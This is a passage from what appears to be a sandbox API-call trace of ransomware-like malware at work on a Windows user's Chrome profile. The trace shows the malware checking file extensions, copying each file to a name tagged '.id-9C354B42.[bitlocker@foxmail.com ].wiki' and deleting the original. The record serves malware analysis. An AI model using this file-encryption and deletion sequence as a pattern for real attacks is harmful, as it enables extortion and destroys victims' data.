(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.551] lstrlenW (lpString=".doc") returned 4 [0178.551] lstrcmpiW (lpString1=".doc", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString=".docx") returned 5 [0178.551] lstrcmpiW (lpString1=".docx", lpString2="ictor") returned -1 [0178.551] lstrlenW (lpString=".pdf") returned 4 [0178.551] lstrcmpiW (lpString1=".pdf", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString=".xls") returned 4 [0178.551] lstrcmpiW (lpString1=".xls", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString=".xlsx") returned 5 [0178.551] lstrcmpiW (lpString1=".xlsx", lpString2="ictor") returned -1 [0178.551] lstrlenW (lpString=".ppt") returned 4 [0178.551] lstrcmpiW (lpString1=".ppt", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.551] lstrlenW (lpString=".zip") returned 4 [0178.551] lstrcmpiW (lpString1=".zip", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString=".rar") returned 4 [0178.551] lstrcmpiW (lpString1=".rar", lpString2="ctor") returned -1 [0178.551] lstrlenW (lpString=".bz2") returned 4 [0178.551] lstrcmpiW (lpString1=".bz2", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".7z") returned 3 [0178.552] lstrcmpiW (lpString1=".7z", lpString2="tor") returned -1 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString=".dbf") returned 4 [0178.552] lstrcmpiW (lpString1=".dbf", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString=".1cd") returned 4 [0178.552] lstrcmpiW (lpString1=".1cd", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString=".jpg") returned 4 [0178.552] lstrcmpiW (lpString1=".jpg", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString=".doc") returned 4 [0178.552] lstrcmpiW (lpString1=".doc", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".docx") returned 5 [0178.552] lstrcmpiW (lpString1=".docx", lpString2="ictor") returned -1 [0178.552] lstrlenW (lpString=".pdf") returned 4 [0178.552] lstrcmpiW (lpString1=".pdf", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".xls") returned 4 [0178.552] lstrcmpiW (lpString1=".xls", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".xlsx") returned 5 [0178.552] lstrcmpiW (lpString1=".xlsx", lpString2="ictor") returned -1 [0178.552] lstrlenW (lpString=".ppt") returned 4 [0178.552] lstrcmpiW (lpString1=".ppt", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.552] lstrlenW (lpString=".zip") returned 4 [0178.552] lstrcmpiW (lpString1=".zip", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".rar") returned 4 [0178.552] lstrcmpiW (lpString1=".rar", lpString2="ctor") returned -1 [0178.552] lstrlenW (lpString=".bz2") returned 4 [0178.553] lstrcmpiW (lpString1=".bz2", lpString2="ctor") returned -1 [0178.553] lstrlenW (lpString=".7z") returned 3 [0178.553] lstrcmpiW (lpString1=".7z", lpString2="tor") returned -1 [0178.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.553] lstrlenW (lpString=".dbf") returned 4 [0178.553] lstrcmpiW (lpString1=".dbf", lpString2="ctor") returned -1 [0178.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.553] lstrlenW (lpString=".1cd") returned 4 [0178.553] lstrcmpiW (lpString1=".1cd", lpString2="ctor") returned -1 [0178.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 100 [0178.553] lstrlenW (lpString=".jpg") returned 4 [0178.553] lstrcmpiW (lpString1=".jpg", lpString2="ctor") returned -1 [0178.553] lstrlenW (lpString="Network Action Predictor-journal") returned 32 [0178.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.554] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0178.554] CloseHandle (hObject=0x160) returned 1 [0178.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.554] lstrlenW (lpString=".doc") returned 4 [0178.554] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".docx") returned 5 [0178.554] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.554] lstrlenW (lpString=".pdf") returned 4 [0178.554] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".xls") returned 4 [0178.554] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".xlsx") returned 5 [0178.554] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.554] lstrlenW (lpString=".ppt") returned 4 [0178.554] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.554] lstrlenW (lpString=".zip") returned 4 [0178.554] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".rar") returned 4 [0178.554] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".bz2") returned 4 [0178.554] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.554] lstrlenW (lpString=".7z") returned 3 [0178.554] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.554] lstrlenW (lpString=".dbf") returned 4 [0178.555] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.555] lstrlenW (lpString=".1cd") returned 4 [0178.555] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.555] lstrlenW (lpString=".jpg") returned 4 [0178.555] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.555] lstrlenW (lpString=".doc") returned 4 [0178.555] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".docx") returned 5 [0178.555] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.555] lstrlenW (lpString=".pdf") returned 4 [0178.555] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".xls") returned 4 [0178.555] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".xlsx") returned 5 [0178.555] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.555] lstrlenW (lpString=".ppt") returned 4 [0178.555] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.555] lstrlenW (lpString=".zip") returned 4 [0178.555] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".rar") returned 4 [0178.555] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".bz2") returned 4 [0178.555] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.555] lstrlenW (lpString=".7z") returned 3 [0178.555] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.556] lstrlenW (lpString=".dbf") returned 4 [0178.556] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.556] lstrlenW (lpString=".1cd") returned 4 [0178.556] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 108 [0178.556] lstrlenW (lpString=".jpg") returned 4 [0178.556] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.556] lstrlenW (lpString="Network Persistent State") returned 24 [0178.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.556] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=40) returned 1 [0178.557] CloseHandle (hObject=0x160) returned 1 [0178.557] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state")) returned 0x2020 [0178.557] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.557] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.557] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0178.557] GetLastError () returned 0x0 [0178.557] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x28, lpOverlapped=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x30, lpOverlapped=0x0) returned 1 [0178.559] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.559] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x104, lpOverlapped=0x0) returned 1 [0178.559] SetEndOfFile (hFile=0x158) returned 1 [0178.560] CloseHandle (hObject=0x158) returned 1 [0178.560] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.560] SetEndOfFile (hFile=0x160) returned 1 [0178.560] CloseHandle (hObject=0x160) returned 1 [0178.561] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.561] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state")) returned 1 [0178.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.561] lstrlenW (lpString=".doc") returned 4 [0178.561] lstrcmpiW (lpString1=".doc", lpString2="tate") returned -1 [0178.561] lstrlenW (lpString=".docx") returned 5 [0178.561] lstrcmpiW (lpString1=".docx", lpString2="State") returned -1 [0178.561] lstrlenW (lpString=".pdf") returned 4 [0178.561] lstrcmpiW (lpString1=".pdf", lpString2="tate") returned -1 [0178.561] lstrlenW (lpString=".xls") returned 4 [0178.561] lstrcmpiW (lpString1=".xls", lpString2="tate") returned -1 [0178.561] lstrlenW (lpString=".xlsx") returned 5 [0178.561] lstrcmpiW (lpString1=".xlsx", lpString2="State") returned -1 [0178.561] lstrlenW (lpString=".ppt") returned 4 [0178.561] lstrcmpiW (lpString1=".ppt", lpString2="tate") returned -1 [0178.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.561] lstrlenW (lpString=".zip") returned 4 [0178.561] lstrcmpiW (lpString1=".zip", lpString2="tate") returned -1 [0178.561] lstrlenW (lpString=".rar") returned 4 [0178.562] lstrcmpiW (lpString1=".rar", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString=".bz2") returned 4 [0178.562] lstrcmpiW (lpString1=".bz2", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString=".7z") returned 3 [0178.562] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString=".dbf") returned 4 [0178.562] lstrcmpiW (lpString1=".dbf", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString=".1cd") returned 4 [0178.562] lstrcmpiW (lpString1=".1cd", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString=".jpg") returned 4 [0178.562] lstrcmpiW (lpString1=".jpg", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString=".doc") returned 4 [0178.562] lstrcmpiW (lpString1=".doc", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString=".docx") returned 5 [0178.562] lstrcmpiW (lpString1=".docx", lpString2="State") returned -1 [0178.562] lstrlenW (lpString=".pdf") returned 4 [0178.562] lstrcmpiW (lpString1=".pdf", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString=".xls") returned 4 [0178.562] lstrcmpiW (lpString1=".xls", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString=".xlsx") returned 5 [0178.562] lstrcmpiW (lpString1=".xlsx", lpString2="State") returned -1 [0178.562] lstrlenW (lpString=".ppt") returned 4 [0178.562] lstrcmpiW (lpString1=".ppt", lpString2="tate") returned -1 [0178.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.562] lstrlenW (lpString=".zip") returned 4 [0178.563] lstrcmpiW (lpString1=".zip", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString=".rar") returned 4 [0178.563] lstrcmpiW (lpString1=".rar", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString=".bz2") returned 4 [0178.563] lstrcmpiW (lpString1=".bz2", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString=".7z") returned 3 [0178.563] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0178.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.563] lstrlenW (lpString=".dbf") returned 4 [0178.563] lstrcmpiW (lpString1=".dbf", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.563] lstrlenW (lpString=".1cd") returned 4 [0178.563] lstrcmpiW (lpString1=".1cd", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100 [0178.563] lstrlenW (lpString=".jpg") returned 4 [0178.563] lstrcmpiW (lpString1=".jpg", lpString2="tate") returned -1 [0178.563] lstrlenW (lpString="Origin Bound Certs") returned 18 [0178.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.564] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=5120) returned 1 [0178.564] CloseHandle (hObject=0x160) returned 1 [0178.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs")) returned 0x2020 [0178.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.564] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.564] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0178.565] GetLastError () returned 0x0 [0178.565] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x1400, lpOverlapped=0x0) returned 1 [0178.896] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0178.920] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.920] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0178.920] SetEndOfFile (hFile=0x158) returned 1 [0178.920] CloseHandle (hObject=0x158) returned 1 [0178.921] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.921] SetEndOfFile (hFile=0x160) returned 1 [0178.921] CloseHandle (hObject=0x160) returned 1 [0178.921] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.922] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs")) returned 1 [0178.922] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.922] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.922] lstrlenW (lpString=".doc") returned 4 [0178.922] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".docx") returned 5 [0178.922] lstrcmpiW (lpString1=".docx", lpString2="Certs") returned -1 [0178.922] lstrlenW (lpString=".pdf") returned 4 [0178.922] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".xls") returned 4 [0178.922] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".xlsx") returned 5 [0178.922] lstrcmpiW (lpString1=".xlsx", lpString2="Certs") returned -1 [0178.922] lstrlenW (lpString=".ppt") returned 4 [0178.922] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.922] lstrlenW (lpString=".zip") returned 4 [0178.922] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".rar") returned 4 [0178.922] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".bz2") returned 4 [0178.922] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0178.922] lstrlenW (lpString=".7z") returned 3 [0178.922] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0178.922] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString=".dbf") returned 4 [0178.923] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString=".1cd") returned 4 [0178.923] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString=".jpg") returned 4 [0178.923] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 